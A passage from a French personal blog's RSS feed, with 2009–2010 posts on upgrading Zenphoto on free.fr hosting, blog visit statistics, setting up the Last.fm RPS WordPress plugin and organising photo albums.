style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Léger progrès : maintenant le test de retour de la fonction fonctionne à nouveau&amp;hellip; mais celle-ci échouant, c&amp;rsquo;est l&amp;rsquo;image par défaut qui s&amp;rsquo;affiche systématiquement. Vous remarquerez que j&amp;rsquo;ai changé cette image ; avant c&amp;rsquo;était des vaches dans un pré&amp;hellip; maintenant c&amp;rsquo;est moi&amp;hellip; sur une pelouse ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;plus de pochettes !&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;287px&#34; data-flex-grow=&#34;119&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/banniere-alatoire-plugin-lastfm-probleme-avec-free/lastfmRPS.png&#34; width=&#34;217&#34;&gt;Autre problème : le &lt;strong&gt;plugin Lastfm RPS&lt;/strong&gt;, qui m&amp;rsquo;affichait de belles pochettes, affiche maintenant une image par défaut. Pour une raison inconnue, plus de pochettes ! Là non plus, je n&amp;rsquo;ai rien changé, et le plugin fonctionne très bien sur mon serveur local (qui me sert de test)&amp;hellip; c&amp;rsquo;est donc bien chez Free qu&amp;rsquo;il y a eu un changement. De plus je ne comprend rien à ce plugin, difficile donc d&amp;rsquo;identifier avec précision d&amp;rsquo;où vient le problème.&lt;/p&gt;&#xA;&lt;p&gt;Soyons patient, cela va peut-être revenir&amp;hellip; C&amp;rsquo;est le problème de ce genre d&amp;rsquo;hébergement gratuit, on ne maîtrise pas grand chose. On peut difficilement se plaindre, car l&amp;rsquo;offre est quand même très complète, et on peut comprendre qu&amp;rsquo;ils sécurisent au maximum l&amp;rsquo;environnement.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto 1.2.8</title>
            <link>https://pled.fr/zenphoto-1-2-8/</link>
            <pubDate>Mon, 01 Feb 2010 21:00:00 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-1-2-8/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.zenphoto.org&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;zenphoto&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;854px&#34; data-flex-grow=&#34;356&#34; height=&#34;57&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-2-8/zenphoto.png&#34; width=&#34;203&#34;&gt;&lt;/a&gt; Le passage à cette dernière version 1.2.8 s&amp;rsquo;est révélé un peu plus délicat que d&amp;rsquo;habitude. Cette version (téléchargée telle quelle depuis le site de zenphoto) ne passe pas les «prerequisites», échouant sur les tests de permissions sur les répertoires.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est dû à l&amp;rsquo;environnement chez free.fr, qui ne permet pas d&amp;rsquo;avoir les permissions requises (777, n&amp;rsquo;est-ce pas un peu excessif ?) sur les répertoires. Leur système est sécurisé, et ceci ne peut être modifié. J&amp;rsquo;ai alors posé la question sur le forum zenphoto, expliquant les limitations de l&amp;rsquo;offre Free. La réponse fut que zenphoto n&amp;rsquo;étant pas testé dans ce genre d&amp;rsquo;environnement restrictif&amp;hellip; je pouvais à la rigueur essayer tel truc.. mais sans garantie. Et effectivement, le truc en question ne fonctionnait pas.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est finalement sur le forum français de &lt;a class=&#34;link&#34; href=&#34;http://www.zenbien.com/infos/viewtopic.php?pid=3083&#34;  title=&#34;Article sur le site de support zenphoto francophone&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;zenbien&lt;/a&gt; que j&amp;rsquo;ai trouvé la solution : mise en commentaire des lignes suivantes du fichier setup.php, et passage d&amp;rsquo;une variable à False :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;variable $good dans setup.php sur les tests concernant les autorisations de dossier. (Commenter // les lignes 1409, 1414, 1417, 1418 et 1419).&lt;/li&gt;&#xA;&lt;li&gt;empêcher la copie du fichier .htaccess fourni par zenphoto  : ligne 244 commentée.&lt;/li&gt;&#xA;&lt;li&gt;ligne 1266 variable $Apache passée à false&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;ATTENTION, on est toujours dans le fichier setup.php, il ne s&amp;rsquo;agit pas du fichier .htaccess lui-même (qui, chez Free, ne doit contenir qu&amp;rsquo;une seule ligne : php 1). Pour simplifier les choses, vous pouvez récupérer le fichier modifié &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2010/09/setup.zip&#34;  title=&#34;Cliquer ici pour télécharger le fichier&#34;&#xA;    &gt;ici&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Une fois ceci fait, la mise à jour se déroule sans problème, et surtout zenphoto fonctionne parfaitement.&lt;/p&gt;&#xA;&lt;p&gt;Je suis alors revenu sur le forum de zenphoto pour communiquer la &amp;ldquo;french solution&amp;rdquo;.  Et réponse très positive : le développeur reconnait que le test de permissions devrait être un &amp;ldquo;warning&amp;rdquo;  (non bloquant) et pas une &amp;ldquo;error&amp;rdquo; (bloquant) :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;I agree that the permissions test should be a warning. It is in the development stream.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Donc ce sera peut-être plus simple sur la prochaine version ! :-) Une occasion de plus de voir la réactivité et le bon esprit qui règne dans le logiciel libre.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog</title>
            <link>https://pled.fr/statistiques-du-blog-2/</link>
            <pubDate>Mon, 04 Jan 2010 18:28:42 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-2/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2010/01/stats1.png&#34; &gt;&lt;img alt=&#34;Nombre d’accès par mois&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;315&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-2/stats1.png&#34; width=&#34;681&#34;&gt;&lt;/a&gt; La fin d&amp;rsquo;année, ou le début de la suivante, c&amp;rsquo;est le moment de regarder les stats du blog, même si le nombre de visites n&amp;rsquo;est pas vraiment ma première préoccupation.&lt;/p&gt;&#xA;&lt;p&gt;Un premier plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt; me donne le nombre total de visiteurs, qui est affichée en bas de page, soit environ &lt;strong&gt;184000&lt;/strong&gt; visiteurs début janvier. Je dois utiliser ce plugin depuis le début du blog, ou peu de temps après. Mais c&amp;rsquo;est un peu limité comme statistique, et j&amp;rsquo;ai voulu avoir un peu plus d&amp;rsquo;informations&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Pour ce faire, j&amp;rsquo;ai donc utilisé un autre plugin appelé &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/extend/plugins/stats/&#34;  title=&#34;le site du plugin wordpress.com stats&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;wordpress.com stats&lt;/a&gt; : il suffit de l&amp;rsquo;activer (il faudra une API key, fournie lors de la création d&amp;rsquo;un compte sur wordpress.com), puis de laisser faire. C&amp;rsquo;est le site de Wordpress qui va tout enregistrer et sauvegarder.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai installé ce dernier plugin en avril 2008, l&amp;rsquo;historique commence donc à être intéressant.&lt;/p&gt;&#xA;&lt;h3 id=&#34;visites&#34;&gt;Visites&#xA;&lt;/h3&gt;&lt;p&gt;Côté visites (voir le graphique ci-dessus), la progression est assez régulière, et on arrive à une centaine de visites par jour sur les derniers mois. Je pense que cette progression est tout simplement liée à l&amp;rsquo;accroissement du contenu : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2010/01/stats3.png&#34; &gt;&lt;img alt=&#34;statistiques détaillées&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;795&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-2/stats3.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-2/stats3_hu_eee38b5b6ba63bbe.png 800w, https://pled.fr/statistiques-du-blog-2/stats3.png 853w&#34; width=&#34;853&#34;&gt;&lt;/a&gt; le blog existe maintenant depuis quatre ans, les articles s&amp;rsquo;accumulent, et logiquement&amp;hellip; le nombre de visites augmente.&lt;/p&gt;&#xA;&lt;p&gt;Le plugin fournit également un tableau récapitulatif, où l&amp;rsquo;on peut voir que la journée la plus active fût celle du 13 septembre 2009, avec 184 visites. Le mois de novembre 2009 totalise quant à lui 3648 visites.&lt;/p&gt;&#xA;&lt;h3 id=&#34;articles&#34;&gt;Articles&#xA;&lt;/h3&gt;&lt;p&gt;Puisque l&amp;rsquo;on parle du nombre d&amp;rsquo;articles, j&amp;rsquo;en aurai écrit 129 au cours de l&amp;rsquo;année 2009, soit un de plus qu&amp;rsquo;en 2007 ! L&amp;rsquo;année 2006 reste loin devant avec 163 articles, ça m&amp;rsquo;étonnerait que je batte un jour ce &amp;ldquo;record&amp;rdquo;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Une statistique intéressante concerne les articles les plus consultés. Voilà donc le «top 20», et ce depuis l&amp;rsquo;activation du plugin :&#xA;TitreVisites&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=849&#34; &gt;VirtualBox&lt;/a&gt;2173&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=310&#34; &gt;VTT Giant&lt;/a&gt;2008&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=756&#34; &gt;Ubuntu 8.04 - Hardy Héron&lt;/a&gt;1803&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=45&#34; &gt;Le zona, c&amp;rsquo;est la zone&lt;/a&gt;1232&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4&#34; &gt;Les démons de Jésus&lt;/a&gt;1049&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=195&#34; &gt;UBCD4Win&lt;/a&gt;1029&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=738&#34; &gt;Les oursins n&amp;rsquo;aiment pas le Round-up&lt;/a&gt;879&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1122&#34; &gt;SED - Stream EDitor&lt;/a&gt;688&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9&#34; &gt;Wordpress : installation en local&lt;/a&gt;670&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=366&#34; &gt;Le pays Gallo&lt;/a&gt;594&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2273&#34; &gt;Sauvegarder ses données sous Ubuntu&lt;/a&gt;500&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1025&#34; &gt;Ubuntu 8.10 - Intrepid Ibex&lt;/a&gt;498&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=642&#34; &gt;Zenphoto et Zenphotopress&lt;/a&gt;356&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1073&#34; &gt;Karl Marx - Sociologie critique&lt;/a&gt;313&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=599&#34; &gt;Erreur 403&lt;/a&gt;303&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=850&#34; &gt;Zenphoto 1.2&lt;/a&gt;301&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1870&#34; &gt;Tristes tropiques - Claude Lévi-Strauss&lt;/a&gt;297&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2233&#34; &gt;Installation et personnalisation d&amp;rsquo;Ubuntu&lt;/a&gt;283&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=108&#34; &gt;Le langage silencieux - Edward T. Hall&lt;/a&gt;279&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2455&#34; &gt;Ubuntu 9.10 - Karmic Koala&lt;/a&gt;265&#xA;C&amp;rsquo;est assez varié, ce qui est bien, avec tout de même une nette majorité d&amp;rsquo;articles sur l&amp;rsquo;informatique; quelques bouquins arrivent à se glisser dans le classement, ce qui me fait plaisir. Le pays Gallo quant à lui obtient une belle dixième place&amp;hellip;  L&amp;rsquo;article sur la bande son du film &amp;ldquo;Les démons de Jésus&amp;rdquo; se place aussi très bien. Quant à l&amp;rsquo;article sur le VTT Giant de ma soeur Martine (juste quelques photos), sa deuxième place est totalement inattendue !&lt;/p&gt;&#xA;&lt;h3 id=&#34;référents&#34;&gt;Référents&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2010/01/gramps.png&#34; &gt;&lt;img alt=&#34;Gramps wiki&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;523px&#34; data-flex-grow=&#34;218&#34; height=&#34;472&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-2/gramps.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-2/gramps_hu_ba79f2787bd919d4.png 800w, https://pled.fr/statistiques-du-blog-2/gramps.png 1030w&#34; width=&#34;1030&#34;&gt;&lt;/a&gt; Pour finir, quelle ne fût pas ma surprise de voir dans les référents une &lt;a class=&#34;link&#34; href=&#34;http://gramps-project.org/wiki/index.php?title=Howto:_Make_a_genealogy_website_with_GRAMPS&#34;  title=&#34;wiki Gramps&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page du wiki de Gramps&lt;/a&gt;, le logiciel de gestion des informations généalogiques ! J&amp;rsquo;avais fait un article à propos de la génération d&amp;rsquo;un site web (une option de Gramps), et indiqué comment remplacer un mot par un autre dans tous les fichiers générés, car tout était généré automatiquement, et ne me convenait pas. La page du wiki indique ma manip, et me cite comme source&amp;hellip; Voilà quelque chose qui me fait très plaisir, et correspond à l&amp;rsquo;esprit du net : partager ses connaissances, en faire profiter les autres, et réciproquement.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Plugin Last.fm RPS</title>
            <link>https://pled.fr/plugin-lastfm-rps/</link>
            <pubDate>Sun, 06 Dec 2009 17:48:21 +0000</pubDate>
            <guid>https://pled.fr/plugin-lastfm-rps/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;Le plugin last.fm RPS en action&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;lastfm.png#floatleft&#34;&gt; Ça faisait longtemps que je cherchais à changer la manière dont sont affichés les titres de la musique que j&amp;rsquo;écoute sur le PC. Je n&amp;rsquo;ai pas trouvé mieux que &lt;strong&gt;Last.fm&lt;/strong&gt;, qui avec le système &lt;strong&gt;Audioscrobbler&lt;/strong&gt;, permet d&amp;rsquo;enregistrer dans une base de données tout ce que vous écoutez. Les informations sont transmises à l&amp;rsquo;aide d&amp;rsquo;un plugin installé dans votre lecteur audio. Il ne reste plus qu&amp;rsquo;à les récupérer pour les afficher sur le blog. Last.fm propose des solutions, mais cela ne me satisfaisait pas : soit trop gourmandes (widgets en java) soit pas assez jolies (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=799&#34;  title=&#34;article sur Last.fm&#34;&#xA;    &gt;article&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai finalement trouvé ce &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/extend/plugins/lastfm-rps/&#34;  title=&#34;plugn last.fm RPS&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;plugin&lt;/a&gt;, qui est assez efficace et affiche sobrement les pochettes. Par contre, j&amp;rsquo;ai pas mal galéré pour le paramétrer comme je voulais ! N&amp;rsquo;utilisant pas les widgets dans la barre latérale (sidebar), j&amp;rsquo;ai donc appelé la fonction directement, comme indiqué dans le fichier readme.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;?php lastfm_recent_sidebar&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;pledisque,5,0,right&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Au départ, je ne voulais pas afficher mon avatar (icône), ni les données associées. Mais la modification du fichier &lt;strong&gt;lasfm.php&lt;/strong&gt; est très sensible, et l&amp;rsquo;on a vite fait de perdre la mise en page. N&amp;rsquo;ayant pas réussi à ne conserver que la liste des morceaux, j&amp;rsquo;ai donc laissé l&amp;rsquo;avatar (finalement, cela permet d&amp;rsquo;accéder à mes statistiques sur last.fm), tout en n&amp;rsquo;affichant que les données que je souhaitais. Pour ce faire (version 1.0.3 du plugin):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Les paramètres pour afficher ou non les données personnelles sont aux lignes 17 à 24 (j&amp;rsquo;ai mis &amp;lsquo;gender&amp;rsquo; à false).&lt;/li&gt;&#xA;&lt;li&gt;J&amp;rsquo;ai également supprimé les lignes 36 à 46 pour retirer la ligne avec une petite icône et le statut de &amp;ldquo;user&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;Dans le fichier &lt;strong&gt;lastfm.css&lt;/strong&gt;, j&amp;rsquo;ai également ajouté la propriété list-style-type:none; pour l&amp;rsquo;identifiant lastfm_recent afin se supprimer les puces (ligne 2).&lt;/li&gt;&#xA;&lt;li&gt;Pour finir, un peu de traduction des messages textes du fichier, et voilà.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;le-futur&#34;&gt;Le futur&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;logo lastfm&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;773px&#34; data-flex-grow=&#34;322&#34; height=&#34;45&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/plugin-lastfm-rps/lastfm_logo_red.png&#34; width=&#34;145&#34;&gt; J&amp;rsquo;ai créé mon compte sur Last.fm en mars 2006. A cette époque, Last.fm était totalement gratuit et permettait d&amp;rsquo;écouter en streaming sa propre radio, basée sur vos préférences. On pouvait soit utiliser un lecteur dédié, soit votre lecteur audio s&amp;rsquo;il bénéficiait d&amp;rsquo;un plugin de ce type. C&amp;rsquo;était pas mal&amp;hellip; hélas, en juillet 2008, changement de politique, et il faut maintenant débourser 3 euros par mois pour bénéficier de cette radio. Le service de scrobbling reste heureusement gratuit.&lt;/p&gt;&#xA;&lt;p&gt;Cela illustre la dépendance que peut entraîner l&amp;rsquo;utilisation de services dont la propriété vous échappe. Un beau jour, le service s&amp;rsquo;arrête, et vous ne pouvez rien y faire (sinon payer, dans le meilleur des cas).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://libre.fm/&#34;  title=&#34;Le site de libre.fm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;Le site de libre.fm&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;725px&#34; data-flex-grow=&#34;302&#34; height=&#34;48&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/plugin-lastfm-rps/librefm.gif&#34; width=&#34;145&#34;&gt;&lt;/a&gt; Alors un projet libre est né, &lt;strong&gt;Libre.fm&lt;/strong&gt;, encore a l&amp;rsquo;état de développement. On peut pour l&amp;rsquo;instant &amp;ldquo;scrobbbler&amp;rdquo; sa musique sur le site, mais pas encore la récupérer pour afficher sa liste de lecture sur son blog. Quand ce sera prêt, je passerai sur ce service libre. La musique que l&amp;rsquo;on pourra écouter en mode radio sur ce site sera 100% libre (et téléchargeable), et nos données personnelles resteront privées.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Album photo classé par catégories</title>
            <link>https://pled.fr/album-photo-classe-par-categories/</link>
            <pubDate>Thu, 20 Aug 2009 17:05:52 +0000</pubDate>
            <guid>https://pled.fr/album-photo-classe-par-categories/</guid>
            <description>&lt;p&gt;Après avoir créé tous les albums photos du voyage, je me suis dit qu&amp;rsquo;il était temps de classer tous ces albums en utilisant les &lt;strong&gt;sous-albums&lt;/strong&gt; de &lt;strong&gt;Zenphoto&lt;/strong&gt;. C&amp;rsquo;était devenu possible depuis la v1.2, mais je n&amp;rsquo;avais encore profité de cette possibilité. Voilà qui est fait :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;les quatre albums de base&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;312px&#34; data-flex-grow=&#34;130&#34; height=&#34;342&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/album-photo-classe-par-categories/zenphoto.png&#34; width=&#34;445&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et donc maintenant quatre albums sur la page d&amp;rsquo;accueil : puis dans chaque album, des sous-albums, et ainsi de suite, selon les classements.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en ai profité pour recréer d&amp;rsquo;anciens albums qui n&amp;rsquo;existaient que sur l&amp;rsquo;ancien site (de bons vieux albums en html, faits à la main&amp;hellip;).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Les photos de Bangkok en 2003, celui de 2009 étant un peu &amp;ldquo;léger&amp;rdquo; comparé au Vietnam et au Cambodge !&lt;/li&gt;&#xA;&lt;li&gt;Et aussi pas mal de sorties VTT en 2004-2005 : de belles sorties en Provence avec Blaise (Reine Jeanne, pays de Pagnol, Trêts), ainsi que d&amp;rsquo;autres en Bretagne avec Eric (Huelgoat, Guerlédan).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Je suis reparti des photos originales afin de les retailler à une taille suffisante : les débits ont changé, à l&amp;rsquo;époque, il ne fallait pas que la photo soit trop grosse (640x480) alors que maintenant j&amp;rsquo;utilise une taille supérieure (800x1067). C&amp;rsquo;est important pour la bannière aléatoire du blog, il faut cette largeur pour qu&amp;rsquo;elle ne soit pas &amp;ldquo;étirée&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Pour les sorties VTT, j&amp;rsquo;ai même repris tous les commentaires.Tout cela représente quelques heures de boulot&amp;hellip; Ce n&amp;rsquo;est pas fini, car les premiers albums faits sous Zenphoto doivent aussi être &amp;ldquo;mis à jour&amp;rdquo; avec des images de plus grande taille.&lt;/p&gt;&#xA;&lt;p&gt;Côté Zenphoto, le déplacement d&amp;rsquo;albums marche à la perfection : c&amp;rsquo;est rapide et efficace. Par contre, lors de copies d&amp;rsquo;albums, les commentaires sont perdus. J&amp;rsquo;ai remonté le problème, c&amp;rsquo;est &lt;a class=&#34;link&#34; href=&#34;http://www.zenphoto.org/support/topic.php?id=6019&#34;  title=&#34;forum de zenphoto&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;en cours&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Mais l&amp;rsquo;album photo (et son nouveau thème) commence à prendre forme&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Nouveau thème pour zenphoto</title>
            <link>https://pled.fr/nouveau-theme-pour-zenphoto/</link>
            <pubDate>Mon, 13 Jul 2009 17:32:11 +0000</pubDate>
            <guid>https://pled.fr/nouveau-theme-pour-zenphoto/</guid>
            <description>&lt;p&gt;Un nouveau thème a été mis en place pour l&amp;rsquo;album photo :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2009/07/theme-zenphoto.png&#34; &gt;&lt;img alt=&#34;le nouveau thème de l’album photo&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;346px&#34; data-flex-grow=&#34;144&#34; height=&#34;312&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/nouveau-theme-pour-zenphoto/theme-zenphoto-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est un nouveau thème proposé pour être utilisé avec l&amp;rsquo;extension du CMS &lt;strong&gt;zenPage&lt;/strong&gt;.  CMS signifie &lt;strong&gt;C&lt;/strong&gt; ontent &lt;strong&gt;M&lt;/strong&gt; anagement &lt;strong&gt;S&lt;/strong&gt; ystem; en gros, cela vous permet de transformer votre galerie photo en blog (ajout de news, de pages). On peut malgré tout utiliser le thème sans pour autant installer l&amp;rsquo;extension zenPage. C&amp;rsquo;est ce que j&amp;rsquo;ai fait, et après quelques adaptations personnelles, le voilà mis en place.&lt;/p&gt;&#xA;&lt;p&gt;Ça a été assez facile, puisque zenphoto est maintenant entièrement internationalisé. Ce n&amp;rsquo;était pas le cas au début, et le thème précédent était largement bricolé de toutes parts&amp;hellip; pas mal de rustines&amp;hellip; Cette fois, je repars d&amp;rsquo;un thème plus récent, et plus propre.&lt;/p&gt;&#xA;&lt;p&gt;A noter la disparition de la bannière aléatoire : historiquement, j&amp;rsquo;avais d&amp;rsquo;abord intégré cette bannière dans zenphoto, ne sachant pas encore si je pourrais le faire sur le blog (wordpress). Puisque c&amp;rsquo;est maintenant chose faite, ce n&amp;rsquo;est plus vraiment nécessaire de le laisser dans l&amp;rsquo;album photo.&lt;/p&gt;&#xA;&lt;p&gt;Je vais également en profiter pour mettre en place les &amp;ldquo;sous-albums&amp;rdquo;, c&amp;rsquo;est-à-dire classer les albums par groupes, afin de faciliter la navigation. Ça fait longtemps que je voulais le faire, c&amp;rsquo;est l&amp;rsquo;occasion : les nouveaux albums photos à venir sont ceux de mon voyage en Asie. Ils seront les premiers classés de la sorte. Il me restera ensuite à faire de même pour les albums existants.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto en version 1.2.5</title>
            <link>https://pled.fr/1821/</link>
            <pubDate>Wed, 13 May 2009 17:48:46 +0000</pubDate>
            <guid>https://pled.fr/1821/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.zenphoto.org&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;zenphoto&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;854px&#34; data-flex-grow=&#34;356&#34; height=&#34;57&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/1821/zenphoto.png&#34; width=&#34;203&#34;&gt;&lt;/a&gt; Zenphoto a été mis à jour de la version 1.2.3 à la version 1.2.5. J&amp;rsquo;en ai profité pour modifier un peu la partie &amp;ldquo;Commentaires&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;En fait, je me suis aperçu que lorsqu&amp;rsquo;un commentaire était envoyé, un message d&amp;rsquo;erreur s&amp;rsquo;affichait (même si le commentaire était enregistré). Après quelques recherches, ce problème était résolu avec la dernière version.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;&amp;lsquo;autre part, j&amp;rsquo;avais observé une baisse très nette des commentaires depuis que j&amp;rsquo;avais mis en place une &amp;ldquo;captcha&amp;rdquo;, afin de protéger l&amp;rsquo;album des spams (je commençais à en recevoir souvent).&lt;/p&gt;&#xA;&lt;p&gt;Mais si les initiales de &lt;strong&gt;captcha&lt;/strong&gt; signifient &lt;em&gt;Completely Automated Public Turing test to Tell Computers and Humans Apart&lt;/em&gt;, soit en français, « test public de Turing complètement automatique ayant pour but de différencier les humains des ordinateurs », cela 